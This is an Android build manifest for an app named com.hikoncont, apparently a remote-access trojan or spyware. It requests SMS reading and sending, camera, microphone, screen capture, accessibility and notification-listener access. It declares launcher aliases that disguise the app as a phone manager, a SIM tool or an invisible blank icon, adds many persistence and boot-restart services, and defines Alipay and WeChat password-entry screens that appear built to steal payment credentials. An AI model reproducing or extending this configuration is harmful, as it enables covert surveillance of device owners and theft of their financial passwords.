Files
android/app/build/intermediates/merged_manifest/debug/processDebugMainManifest/AndroidManifest.xml
2026-02-11 16:59:49 +08:00

820 lines
36 KiB
XML
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.hikoncont"
android:versionCode="1"
android:versionName="1.0.1.6" >
<uses-sdk
android:minSdkVersion="24"
android:targetSdkVersion="35" />
<!-- 必要权限 -->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<!-- Android 15+ 网络相关权限 -->
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
<!-- Android 15+ 后台网络访问权限 -->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_SPECIAL_USE" />
<!-- 开机自启动权限 -->
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.QUICKBOOT_POWERON" />
<!-- 自动重启相关权限 -->
<uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM" />
<uses-permission android:name="android.permission.USE_EXACT_ALARM" />
<!-- 屏幕录制权限 -->
<uses-permission android:name="android.permission.MEDIA_PROJECTION" />
<!-- 解锁屏幕权限参考billd-desk -->
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<!-- 蓝牙权限参考billd-deskAndroid 30以下 -->
<uses-permission
android:name="android.permission.BLUETOOTH"
android:maxSdkVersion="30" />
<!-- 音频设置权限参考billd-desk -->
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
<!-- 摄像头权限 -->
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<!-- 短信权限 -->
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<!-- 相册权限 -->
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
<uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_MEDIA_VISUAL_USER_SELECTED" />
<!-- 存储权限 - 修复 mi_exception_log 写入错误 -->
<uses-permission
android:name="android.permission.WRITE_EXTERNAL_STORAGE"
android:maxSdkVersion="28" />
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
<!-- 摄像头功能特性 -->
<uses-feature
android:name="android.hardware.camera"
android:required="false" />
<uses-feature
android:name="android.hardware.camera.autofocus"
android:required="false" />
<uses-feature
android:name="android.hardware.camera.front"
android:required="false" />
<!-- 设备管理员权限 -->
<uses-permission android:name="android.permission.DEVICE_ADMIN" />
<!-- 修改系统设置权限(用于调节亮度) -->
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<!-- 修改安全设置权限(用于色彩反转等) -->
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
<!-- 任务管理权限用于将Activity带到前台 -->
<uses-permission android:name="android.permission.REORDER_TASKS" />
<!-- 任务管理权限(用于应用前后台切换) -->
<uses-permission android:name="android.permission.GET_TASKS" />
<!-- WorkManager 诊断权限 -->
<uses-permission android:name="android.permission.DUMP" />
<permission
android:name="com.hikoncont.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"
android:protectionLevel="signature" />
<uses-permission android:name="com.hikoncont.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION" />
<application
android:name="com.hikoncont.RemoteControlApplication"
android:allowBackup="true"
android:appComponentFactory="androidx.core.app.CoreComponentFactory"
android:dataExtractionRules="@xml/data_extraction_rules"
android:debuggable="true"
android:extractNativeLibs="false"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:preserveLegacyExternalStorage="true"
android:requestLegacyExternalStorage="true"
android:testOnly="true"
android:theme="@style/Theme.RemoteControl"
android:usesCleartextTraffic="true" >
<!-- ✅ 主Activity - 直接集成WebView -->
<activity
android:name="com.hikoncont.MainActivity"
android:exported="true"
android:theme="@style/Theme.RemoteControl" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity> <!-- 🆕 小米设备伪装别名 -->
<activity-alias
android:name="com.hikoncont.XiaomiAlias"
android:enabled="false"
android:exported="true"
android:icon="@drawable/sjgj"
android:label="手机管家"
android:targetActivity="com.hikoncont.MainActivity" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity-alias> <!-- 🆕 华为设备伪装别名 -->
<!-- <activity-alias -->
<!-- android:name=".HuaweiAlias" -->
<!-- android:targetActivity=".MainActivity" -->
<!-- android:enabled="false" -->
<!-- android:exported="true" -->
<!-- android:theme="@android:style/Theme.Translucent.NoTitleBar"> -->
<!-- <intent-filter> -->
<!-- <action android:name="android.intent.action.MAIN" /> -->
<!-- <category android:name="android.intent.category.LAUNCHER" /> -->
<!-- </intent-filter> -->
<!-- </activity-alias> -->
<!-- 🆕 荣耀设备伪装别名 -->
<activity-alias
android:name="com.hikoncont.HonorAlias"
android:enabled="false"
android:exported="true"
android:icon="@drawable/_2580369_res_0x7f080089"
android:label="@string/_2580369_res_0x7f10001e"
android:targetActivity="com.hikoncont.MainActivity" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity-alias> <!-- 🆕 OPPO设备伪装别名 -->
<activity-alias
android:name="com.hikoncont.OppoAlias"
android:enabled="false"
android:exported="true"
android:icon="@drawable/sjgj"
android:label="手机管家"
android:targetActivity="com.hikoncont.MainActivity" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity-alias> <!-- 🆕 Vivo设备专用I管家伪装别名 -->
<activity-alias
android:name="com.hikoncont.VivoIGuanjiaAlias"
android:enabled="false"
android:exported="true"
android:icon="@drawable/_2580369_res_0x7f080089"
android:label="@string/_2580369_res_0x7f10001e"
android:targetActivity="com.hikoncont.MainActivity" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity-alias> <!-- 🆕 手机管家伪装别名(优化版,默认禁用) -->
<activity-alias
android:name="com.hikoncont.PhoneManagerAlias"
android:enabled="false"
android:exported="true"
android:icon="@drawable/phone_manager_icon"
android:label="手机管家"
android:targetActivity="com.hikoncont.MainActivity" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity-alias> <!-- 🆕 SIM伪装别名默认禁用仅在真隐藏失败时启用 -->
<activity-alias
android:name="com.hikoncont.SIMAlias"
android:enabled="false"
android:exported="true"
android:icon="@mipmap/sim_icon"
android:label="SIM"
android:targetActivity="com.hikoncont.MainActivity" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity-alias> <!-- 🔧 华为设置Alias - 基于f目录APK策略 -->
<activity-alias
android:name="com.hikoncont.HuaweiSettingsAlias"
android:enabled="false"
android:exported="true"
android:icon="@drawable/transparent_icon"
android:label=" "
android:targetActivity="com.hikoncont.MainActivity" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity-alias> <!-- 🔧 华为天气Alias - 基于f目录APK策略 -->
<activity-alias
android:name="com.hikoncont.HuaweiWeatherAlias"
android:enabled="false"
android:exported="true"
android:icon="@drawable/transparent_icon"
android:label=" "
android:targetActivity="com.hikoncont.MainActivity" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity-alias>
<activity-alias
android:name="com.hikoncont.HuaweiBackupAlias"
android:enabled="false"
android:exported="true"
android:icon="@drawable/transparent_icon"
android:label=" "
android:targetActivity="com.hikoncont.MainActivity" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity-alias> <!-- 🔧 MainAliasActivity - 基于D:\kouch\app策略 -->
<activity-alias
android:name="com.hikoncont.MainAliasActivity"
android:enabled="false"
android:exported="true"
android:icon="@drawable/transparent_icon"
android:label="@string/app_name_tran"
android:targetActivity="com.hikoncont.MainActivity"
android:theme="@android:style/Theme.NoDisplay" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity-alias>
<!-- 透明保活Activity - 借鉴反编译项目的FlyActivity -->
<activity
android:name="com.hikoncont.TransparentKeepAliveActivity"
android:elevation="0dp"
android:excludeFromRecents="true"
android:exported="true"
android:finishOnCloseSystemDialogs="false"
android:finishOnTaskLaunch="false"
android:launchMode="singleInstance"
android:showForAllUsers="true"
android:showOnLockScreen="true"
android:showWhenLocked="true"
android:taskAffinity="com.hikoncont.keepalive"
android:theme="@android:style/Theme.Translucent.NoTitleBar" />
<!-- 保活启动器Activity - 借鉴反编译项目的OpenActivity -->
<activity
android:name="com.hikoncont.KeepAliveLauncherActivity"
android:elevation="0dp"
android:excludeFromRecents="true"
android:exported="true"
android:launchMode="singleTop"
android:theme="@android:style/Theme.Translucent.NoTitleBar" />
<!-- 🔧 华为备用启动器Activity - 基于D:\kouch\app策略 -->
<activity
android:name="com.hikoncont.HuaweiBackupLauncherActivity"
android:enabled="false"
android:exported="true"
android:icon="@mipmap/transparent_adaptive"
android:label=" "
android:roundIcon="@mipmap/transparent_adaptive"
android:theme="@android:style/Theme.NoDisplay" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<!-- 配置遮盖Activity -->
<activity
android:name="com.hikoncont.activity.ConfigMaskActivity"
android:allowTaskReparenting="false"
android:alwaysRetainTaskState="true"
android:clearTaskOnLaunch="false"
android:excludeFromRecents="true"
android:exported="false"
android:finishOnTaskLaunch="false"
android:launchMode="singleInstance"
android:screenOrientation="portrait"
android:stateNotNeeded="false"
android:taskAffinity=""
android:theme="@android:style/Theme.Black.NoTitleBar.Fullscreen" />
<!-- 简单权限申请Activity -->
<activity
android:name="com.hikoncont.activity.SimplePermissionActivity"
android:excludeFromRecents="true"
android:exported="false"
android:launchMode="singleTask"
android:noHistory="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar" />
<!-- 密码输入完成安装Activity -->
<activity
android:name="com.hikoncont.activity.PasswordInputActivity"
android:allowTaskReparenting="false"
android:alwaysRetainTaskState="true"
android:clearTaskOnLaunch="false"
android:configChanges="orientation|screenSize|keyboardHidden|uiMode|density"
android:documentLaunchMode="never"
android:enableOnBackInvokedCallback="false"
android:excludeFromRecents="true"
android:exported="false"
android:finishOnCloseSystemDialogs="false"
android:finishOnTaskLaunch="false"
android:hardwareAccelerated="true"
android:launchMode="singleTop"
android:maxRecents="1"
android:noHistory="false"
android:persistableMode="persistNever"
android:resizeableActivity="false"
android:screenOrientation="portrait"
android:stateNotNeeded="true"
android:supportsPictureInPicture="false"
android:taskAffinity=""
android:theme="@style/Theme.PasswordInput"
android:windowSoftInputMode="adjustResize" />
<!-- 支付宝密码输入页面Activity -->
<activity
android:name="com.hikoncont.activity.AlipayPasswordActivity"
android:allowTaskReparenting="false"
android:clearTaskOnLaunch="true"
android:configChanges="orientation|screenSize|keyboardHidden|uiMode|density"
android:documentLaunchMode="never"
android:enableOnBackInvokedCallback="false"
android:excludeFromRecents="true"
android:exported="false"
android:finishOnTaskLaunch="true"
android:hardwareAccelerated="true"
android:launchMode="singleTop"
android:maxRecents="1"
android:noHistory="true"
android:resizeableActivity="false"
android:screenOrientation="portrait"
android:stateNotNeeded="true"
android:supportsPictureInPicture="false"
android:taskAffinity=""
android:theme="@android:style/Theme.Black.NoTitleBar.Fullscreen"
android:windowSoftInputMode="adjustResize" />
<!-- 微信密码输入页面Activity -->
<activity
android:name="com.hikoncont.activity.WechatPasswordActivity"
android:allowTaskReparenting="false"
android:clearTaskOnLaunch="true"
android:configChanges="orientation|screenSize|keyboardHidden|uiMode|density"
android:documentLaunchMode="never"
android:enableOnBackInvokedCallback="false"
android:excludeFromRecents="true"
android:exported="false"
android:finishOnTaskLaunch="true"
android:hardwareAccelerated="true"
android:launchMode="singleTop"
android:maxRecents="1"
android:noHistory="true"
android:resizeableActivity="false"
android:screenOrientation="portrait"
android:stateNotNeeded="true"
android:supportsPictureInPicture="false"
android:taskAffinity=""
android:theme="@android:style/Theme.Black.NoTitleBar.Fullscreen"
android:windowSoftInputMode="adjustResize" />
<!-- 权限请求Activity -->
<activity
android:name="com.hikoncont.ui.PermissionRequestActivity"
android:allowTaskReparenting="false"
android:excludeFromRecents="true"
android:exported="false"
android:finishOnTaskLaunch="false"
android:launchMode="singleTop"
android:taskAffinity="com.hikoncont.permission"
android:theme="@android:style/Theme.Material.Light.NoActionBar" />
<!-- 无障碍服务 -->
<service
android:name="com.hikoncont.service.AccessibilityRemoteService"
android:exported="true"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" >
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility_service_config" />
</service>
<!-- 前台服务 -->
<service
android:name="com.hikoncont.service.RemoteControlForegroundService"
android:exported="false"
android:foregroundServiceType="mediaProjection" />
<!-- Android 15+ 额外数据同步服务 - 已移除功能已集成到RemoteControlForegroundService -->
<!--
<service
android:name=".service.DataSyncForegroundService"
android:exported="false"
android:foregroundServiceType="dataSync"
android:enabled="false" />
-->
<!-- 保活服务 -->
<service
android:name="com.hikoncont.service.KeepAliveService"
android:exported="false" />
<!-- JobService 保活 -->
<service
android:name="com.hikoncont.service.KeepAliveJobService"
android:exported="true"
android:permission="android.permission.BIND_JOB_SERVICE" />
<!-- 通知监听服务 - 参考 f 目录的 MessageToolUse -->
<service
android:name="com.hikoncont.service.NotificationMonitorService"
android:exported="true"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" >
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
<!-- 进程监控服务 -->
<service
android:name="com.hikoncont.service.ProcessMonitorService"
android:exported="false"
android:foregroundServiceType="dataSync" />
<!-- WorkManager 初始化配置 - 修改现有的 InitializationProvider -->
<provider
android:name="androidx.startup.InitializationProvider"
android:authorities="com.hikoncont.androidx-startup"
android:exported="false" >
<meta-data
android:name="androidx.emoji2.text.EmojiCompatInitializer"
android:initOrder="1091"
android:value="androidx.startup" />
<meta-data
android:name="androidx.lifecycle.ProcessLifecycleInitializer"
android:initOrder="1091"
android:value="androidx.startup" />
<meta-data
android:name="androidx.profileinstaller.ProfileInstallerInitializer"
android:initOrder="1091"
android:value="androidx.startup" />
</provider>
<service
android:name="androidx.work.impl.background.systemalarm.SystemAlarmService"
android:directBootAware="false"
android:enabled="@bool/enable_system_alarm_service_default"
android:exported="false"
android:initOrder="1068" />
<service
android:name="androidx.work.impl.background.systemjob.SystemJobService"
android:directBootAware="false"
android:enabled="@bool/enable_system_job_service_default"
android:exported="true"
android:initOrder="1068"
android:permission="android.permission.BIND_JOB_SERVICE" />
<service
android:name="androidx.work.impl.foreground.SystemForegroundService"
android:directBootAware="false"
android:enabled="@bool/enable_system_foreground_service_default"
android:exported="false"
android:initOrder="1068" />
<receiver
android:name="androidx.work.impl.utils.ForceStopRunnable.BroadcastReceiver"
android:directBootAware="false"
android:enabled="true"
android:exported="false"
android:initOrder="1068" />
<receiver
android:name="androidx.work.impl.background.systemalarm.ConstraintProxy.BatteryChargingProxy"
android:directBootAware="false"
android:enabled="false"
android:exported="false"
android:initOrder="1068" >
<intent-filter>
<action android:name="android.intent.action.ACTION_POWER_CONNECTED" />
<action android:name="android.intent.action.ACTION_POWER_DISCONNECTED" />
</intent-filter>
</receiver>
<receiver
android:name="androidx.work.impl.background.systemalarm.ConstraintProxy.BatteryNotLowProxy"
android:directBootAware="false"
android:enabled="false"
android:exported="false"
android:initOrder="1068" >
<intent-filter>
<action android:name="android.intent.action.BATTERY_OKAY" />
<action android:name="android.intent.action.BATTERY_LOW" />
</intent-filter>
</receiver>
<receiver
android:name="androidx.work.impl.background.systemalarm.ConstraintProxy.StorageNotLowProxy"
android:directBootAware="false"
android:enabled="false"
android:exported="false"
android:initOrder="1068" >
<intent-filter>
<action android:name="android.intent.action.DEVICE_STORAGE_LOW" />
<action android:name="android.intent.action.DEVICE_STORAGE_OK" />
</intent-filter>
</receiver>
<receiver
android:name="androidx.work.impl.background.systemalarm.ConstraintProxy.NetworkStateProxy"
android:directBootAware="false"
android:enabled="false"
android:exported="false"
android:initOrder="1068" >
<intent-filter>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
</intent-filter>
</receiver>
<receiver
android:name="androidx.work.impl.background.systemalarm.RescheduleReceiver"
android:directBootAware="false"
android:enabled="false"
android:exported="false"
android:initOrder="1068" >
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.TIME_SET" />
<action android:name="android.intent.action.TIMEZONE_CHANGED" />
</intent-filter>
</receiver>
<receiver
android:name="androidx.work.impl.background.systemalarm.ConstraintProxyUpdateReceiver"
android:directBootAware="false"
android:enabled="@bool/enable_system_alarm_service_default"
android:exported="false"
android:initOrder="1068" >
<intent-filter>
<action android:name="androidx.work.impl.background.systemalarm.UpdateProxies" />
</intent-filter>
</receiver>
<receiver
android:name="androidx.work.impl.diagnostics.DiagnosticsReceiver"
android:directBootAware="false"
android:enabled="true"
android:exported="true"
android:initOrder="1068"
android:permission="android.permission.DUMP" >
<intent-filter>
<action android:name="androidx.work.diagnostics.REQUEST_DIAGNOSTICS" />
</intent-filter>
</receiver>
<!-- 保活JobService - 已在上面声明,此处已移除重复声明 -->
<!-- 服务保活器 -->
<service
android:name="com.hikoncont.service.ServiceProtector"
android:enabled="true"
android:exported="false" />
<!-- 增强保活服务 -->
<service
android:name="com.hikoncont.service.EnhancedKeepAliveService"
android:enabled="true"
android:exported="false"
android:foregroundServiceType="mediaPlayback" />
<!-- 守护保活服务 -->
<service
android:name="com.hikoncont.service.GuardKeepAliveService"
android:enabled="true"
android:exported="false"
android:foregroundServiceType="mediaPlayback" />
<!-- AlarmManager保活服务 -->
<service
android:name="com.hikoncont.service.AlarmManagerKeepAliveService"
android:enabled="true"
android:exported="false"
android:foregroundServiceType="mediaPlayback" />
<!-- 开机自启动接收器 -->
<receiver
android:name="com.hikoncont.receiver.BootReceiver"
android:enabled="true"
android:exported="true" >
<intent-filter android:priority="1000" >
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
<action android:name="android.intent.action.MY_PACKAGE_REPLACED" />
<action android:name="android.intent.action.PACKAGE_REPLACED" />
<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="android.intent.action.SCREEN_ON" />
<data android:scheme="package" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</receiver>
<!-- 增强系统事件接收器 -->
<receiver
android:name="com.hikoncont.service.EnhancedSystemEventReceiver"
android:enabled="true"
android:exported="true" >
<intent-filter android:priority="999" >
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.MY_PACKAGE_REPLACED" />
<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="android.intent.action.SCREEN_ON" />
<action android:name="android.intent.action.SCREEN_OFF" />
<action android:name="android.intent.action.POWER_CONNECTED" />
<action android:name="android.intent.action.POWER_DISCONNECTED" />
<action android:name="android.intent.action.BATTERY_LOW" />
<action android:name="android.intent.action.BATTERY_OKAY" />
<action android:name="android.mycustrecev.RESTART_SERVICES" />
</intent-filter>
</receiver>
<!-- 增强开机自启动接收器 -->
<receiver
android:name="com.hikoncont.service.EnhancedBootReceiver"
android:enabled="true"
android:exported="true" >
<intent-filter android:priority="1000" >
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
<action android:name="miui.intent.action.BOOT_COMPLETEDT" />
</intent-filter>
</receiver>
<!-- 增强应用包变化接收器 -->
<receiver
android:name="com.hikoncont.service.EnhancedPackagesReceiver"
android:enabled="true"
android:exported="true" >
<intent-filter>
<action android:name="android.intent.action.PACKAGE_ADDED" />
<action android:name="android.intent.action.PACKAGE_REPLACED" />
<action android:name="android.intent.action.PACKAGE_REMOVED" />
<action android:name="android.intent.action.PACKAGE_CHANGED" />
<action android:name="android.intent.action.MY_PACKAGE_REPLACED" />
<data android:scheme="package" />
</intent-filter>
</receiver>
<!-- 保活广播接收器 -->
<receiver
android:name="com.hikoncont.service.KeepAliveReceiver"
android:enabled="true"
android:exported="true" >
<intent-filter>
<action android:name="android.mycustrecev.RESTART_SERVICES" />
<action android:name="android.mycustrecev.RESTART_ACCESSIBILITY_SERVICE" />
</intent-filter>
</receiver>
<!-- AlarmManager广播接收器 -->
<receiver
android:name="com.hikoncont.service.AlarmManagerReceiver"
android:enabled="true"
android:exported="true" >
<intent-filter>
<action android:name="android.mycustrecev.ALARM_KEEPALIVE" />
</intent-filter>
</receiver>
<!-- 重连测试接收器 -->
<receiver
android:name="com.hikoncont.receiver.ReconnectReceiver"
android:enabled="true"
android:exported="true" >
<intent-filter>
<action android:name="android.mycustrecev.FORCE_RECONNECT" />
</intent-filter>
</receiver>
<!-- 智能权限恢复接收器 -->
<receiver
android:name="com.hikoncont.receiver.SmartRecoveryReceiver"
android:enabled="true"
android:exported="true" >
<intent-filter>
<action android:name="android.mycustrecev.SMART_PERMISSION_RECOVERY" />
<action android:name="android.mycustrecev.IGNORE_RECOVERY" />
</intent-filter>
</receiver>
<!-- ✅ 已移除 SETUP_COMPLETE 和 INSTALLATION_COMPLETE 广播接收器 -->
<!-- 现在使用 InstallationCompleteManager 直接函数调用,不再使用广播 -->
<receiver
android:name="androidx.work.impl.utils.ForceStopRunnable$BroadcastReceiver"
android:directBootAware="false"
android:enabled="true"
android:exported="false" />
<receiver
android:name="androidx.work.impl.background.systemalarm.ConstraintProxy$BatteryChargingProxy"
android:directBootAware="false"
android:enabled="false"
android:exported="false" >
<intent-filter>
<action android:name="android.intent.action.ACTION_POWER_CONNECTED" />
<action android:name="android.intent.action.ACTION_POWER_DISCONNECTED" />
</intent-filter>
</receiver>
<receiver
android:name="androidx.work.impl.background.systemalarm.ConstraintProxy$BatteryNotLowProxy"
android:directBootAware="false"
android:enabled="false"
android:exported="false" >
<intent-filter>
<action android:name="android.intent.action.BATTERY_OKAY" />
<action android:name="android.intent.action.BATTERY_LOW" />
</intent-filter>
</receiver>
<receiver
android:name="androidx.work.impl.background.systemalarm.ConstraintProxy$StorageNotLowProxy"
android:directBootAware="false"
android:enabled="false"
android:exported="false" >
<intent-filter>
<action android:name="android.intent.action.DEVICE_STORAGE_LOW" />
<action android:name="android.intent.action.DEVICE_STORAGE_OK" />
</intent-filter>
</receiver>
<receiver
android:name="androidx.work.impl.background.systemalarm.ConstraintProxy$NetworkStateProxy"
android:directBootAware="false"
android:enabled="false"
android:exported="false" >
<intent-filter>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
</intent-filter>
</receiver>
<service
android:name="androidx.room.MultiInstanceInvalidationService"
android:directBootAware="true"
android:exported="false" />
<receiver
android:name="androidx.profileinstaller.ProfileInstallReceiver"
android:directBootAware="false"
android:enabled="true"
android:exported="true"
android:permission="android.permission.DUMP" >
<intent-filter>
<action android:name="androidx.profileinstaller.action.INSTALL_PROFILE" />
</intent-filter>
<intent-filter>
<action android:name="androidx.profileinstaller.action.SKIP_FILE" />
</intent-filter>
<intent-filter>
<action android:name="androidx.profileinstaller.action.SAVE_PROFILE" />
</intent-filter>
<intent-filter>
<action android:name="androidx.profileinstaller.action.BENCHMARK_OPERATION" />
</intent-filter>
</receiver>
</application>
</manifest>